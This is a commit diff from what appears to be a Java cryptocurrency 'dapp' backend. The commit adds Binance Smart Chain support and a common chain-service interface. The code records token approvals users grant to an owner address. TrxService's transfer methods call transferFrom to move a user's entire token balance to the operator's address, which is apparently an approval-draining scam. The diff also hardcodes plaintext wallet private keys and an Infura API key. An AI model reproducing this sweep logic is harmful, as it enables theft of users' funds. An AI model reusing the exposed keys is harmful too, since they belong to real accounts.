src/main/java/cc/mrbird/febs/dapp/chain/BscService.java | ●●●●● patch | view | raw | blame | history | |
src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java | ●●●●● patch | view | raw | blame | history | |
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java | ●●●●● patch | view | raw | blame | history | |
src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java | ●●●●● patch | view | raw | blame | history | |
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | ●●●●● patch | view | raw | blame | history | |
src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java | ●●●●● patch | view | raw | blame | history | |
src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java | ●●●●● patch | view | raw | blame | history | |
src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java | ●●●●● patch | view | raw | blame | history | |
src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java | ●●●●● patch | view | raw | blame | history |
src/main/java/cc/mrbird/febs/dapp/chain/BscService.java
New file @@ -0,0 +1,151 @@ package cc.mrbird.febs.dapp.chain; import cn.hutool.core.util.StrUtil; import cn.hutool.http.HttpUtil; import com.alibaba.fastjson.JSONObject; import org.apache.commons.lang3.StringUtils; import org.web3j.abi.FunctionEncoder; import org.web3j.abi.FunctionReturnDecoder; import org.web3j.abi.TypeReference; import org.web3j.abi.datatypes.Address; import org.web3j.abi.datatypes.Function; import org.web3j.abi.datatypes.Type; import org.web3j.abi.datatypes.generated.Uint256; import org.web3j.crypto.Credentials; import org.web3j.crypto.RawTransaction; import org.web3j.crypto.TransactionEncoder; import org.web3j.protocol.Web3j; import org.web3j.protocol.core.DefaultBlockParameterName; import org.web3j.protocol.core.methods.request.Transaction; import org.web3j.protocol.core.methods.response.EthCall; import org.web3j.protocol.core.methods.response.EthGetTransactionCount; import org.web3j.protocol.core.methods.response.EthSendTransaction; import org.web3j.protocol.http.HttpService; import org.web3j.utils.Convert; import org.web3j.utils.Numeric; import java.io.IOException; import java.math.BigDecimal; import java.math.BigInteger; import java.math.RoundingMode; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.concurrent.CompletableFuture; /** * @author wzy * @date 2022-04-15 **/ public class BscService implements ContractChainService { private Web3j web3j; private String url; private String ownerAddress; private String privateKey; private String contractAddress; public BscService(String url, String address, String privateKey, String contractAddress) { this.url = url; this.ownerAddress = address; this.privateKey = privateKey; this.contractAddress = contractAddress; HttpService service = new HttpService(url); web3j = Web3j.build(service); } @Override public BigInteger balanceOfUnDecimal(String fromAddress) { try { String methodName = "balanceOf"; List<Type> inputParameters = new ArrayList<>(); List<TypeReference<?>> outputParameters = new ArrayList<>(); Address address = new Address(fromAddress); inputParameters.add(address); TypeReference<Uint256> typeReference = new TypeReference<Uint256>() { }; outputParameters.add(typeReference); Function function = new Function(methodName, inputParameters, outputParameters); String data = FunctionEncoder.encode(function); Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data); EthCall ethCall; BigInteger balanceValue = BigInteger.ZERO; try { ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send(); List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters()); balanceValue = (BigInteger) results.get(0).getValue(); } catch (IOException e) { e.printStackTrace(); } return balanceValue; } catch (Exception e) { e.printStackTrace(); } return BigInteger.ZERO; } @Override public BigDecimal balanceOf(String fromAddress) { int decimal = 6; BigInteger balanceValue = balanceOfUnDecimal(fromAddress); double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue(); if (res > 0) { return new BigDecimal(res); } return BigDecimal.ZERO; } @Override public BigInteger allowance(String address) { String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; String methodName = "allowance"; List<TypeReference<?>> outputParameters = new ArrayList<>(); TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {}; outputParameters.add(typeReference); Function function = new Function(methodName, Arrays.asList(new Address(address), new Address(ownerAddress)) , outputParameters); String data = FunctionEncoder.encode(function); Transaction transaction = Transaction.createEthCallTransaction(ownerAddress, contractAddress, data); EthCall ethCall = null; try { ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send(); List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters()); return (BigInteger) results.get(0).getValue(); } catch (IOException e) { e.printStackTrace(); } return BigInteger.ZERO; } public String getGas() { String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124"); JSONObject data = JSONObject.parseObject(resp); String gas = data.getString("avgPrice"); return StrUtil.isBlank(gas) ? "35" : gas; } @Override public String transfer(String address) { return null; } @Override public String transfer(String address, BigDecimal amount) { return ""; } @Override public int allowanceCnt(String address) { return 0; } } src/main/java/cc/mrbird/febs/dapp/chain/ChainEnum.java
New file @@ -0,0 +1,8 @@ package cc.mrbird.febs.dapp.chain; /** * 链类型 */ public enum ChainEnum { ETH, TRX, BSC } src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -33,7 +33,7 @@ if (address.contains(ETH_PREFIX)) { balance = ETH.tokenGetBalance(address); } else { balance = TRX.balanceOfDecimal(address); balance = TRX.balanceOf(address); } return balance; } src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java
New file @@ -0,0 +1,19 @@ package cc.mrbird.febs.dapp.chain; import java.math.BigDecimal; import java.math.BigInteger; public interface ContractChainService { BigInteger balanceOfUnDecimal(String address); BigDecimal balanceOf(String address); BigInteger allowance(String address); String transfer(String address); String transfer(String address, BigDecimal amount); int allowanceCnt(String address); } src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -53,12 +53,12 @@ */ //private static final String ETH_UTL = "http://120.55.86.146:8545"; // private static final String ETH_UTL = "http://114.55.250.231:8545"; private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0"; private static String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0"; // private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600"; // private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419"; private static final String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D"; private static final String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb"; private static String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D"; private static String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb"; public EthService() { try { @@ -69,6 +69,18 @@ } } public EthService(String url, String address, String privateKey) { try { OWNER_ADDRESS = address; OWNER_PRIVATE = privateKey; ETH_UTL = url; HttpService service = new HttpService(url); web3j = Web3j.build(service); } catch (Exception e) { log.error("连接eth网络失败", e); } } /** * 查询ETH余额 * src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
@@ -18,7 +18,7 @@ * @author * @date 2022-03-21 **/ public class TrxService { public class TrxService implements ContractChainService { // private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; // private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7"; @@ -40,16 +40,19 @@ contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper); } @Override public BigInteger allowance(String owner) { return contract.allowance(owner, ADDRESS); } public BigInteger balanceOf(String address) { @Override public BigInteger balanceOfUnDecimal(String address) { return contract.balanceOf(address); } public BigDecimal balanceOfDecimal(String address) { BigInteger chainData = balanceOf(address); @Override public BigDecimal balanceOf(String address) { BigInteger chainData = balanceOfUnDecimal(address); BigInteger decimals = contract.decimals(); BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); @@ -57,12 +60,14 @@ return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN); } public void transfer(String address) { BigInteger balance = balanceOf(address); @Override public String transfer(String address) { BigInteger balance = balanceOfUnDecimal(address); contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L); return contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L); } @Override public String transfer(String address, BigDecimal amount) { BigInteger decimals = contract.decimals(); BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue()); @@ -71,6 +76,11 @@ return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L); } @Override public int allowanceCnt(String address) { return 0; } public static void main(String[] args) { System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));; } src/main/java/cc/mrbird/febs/dapp/dto/ApproveDto.java
@@ -21,4 +21,7 @@ @ApiModelProperty(value = "推荐人") private String refererId; @ApiModelProperty(value = "链类型") private String chainType; } src/main/java/cc/mrbird/febs/dapp/entity/DappMemberEntity.java
@@ -45,4 +45,9 @@ private int approveCnt; private int source; /** * 链 1-以太坊 2-币安 3-波场 */ private String chainType; } src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
@@ -63,6 +63,7 @@ int cnt = instance.allowanceCnt(approveDto.getAddress()); member.setApproveCnt(cnt); member.setChainType(approveDto.getChainType()); dappMemberDao.insert(member); member.setInviteId(ShareCodeUtil.toSerialCode(member.getId()));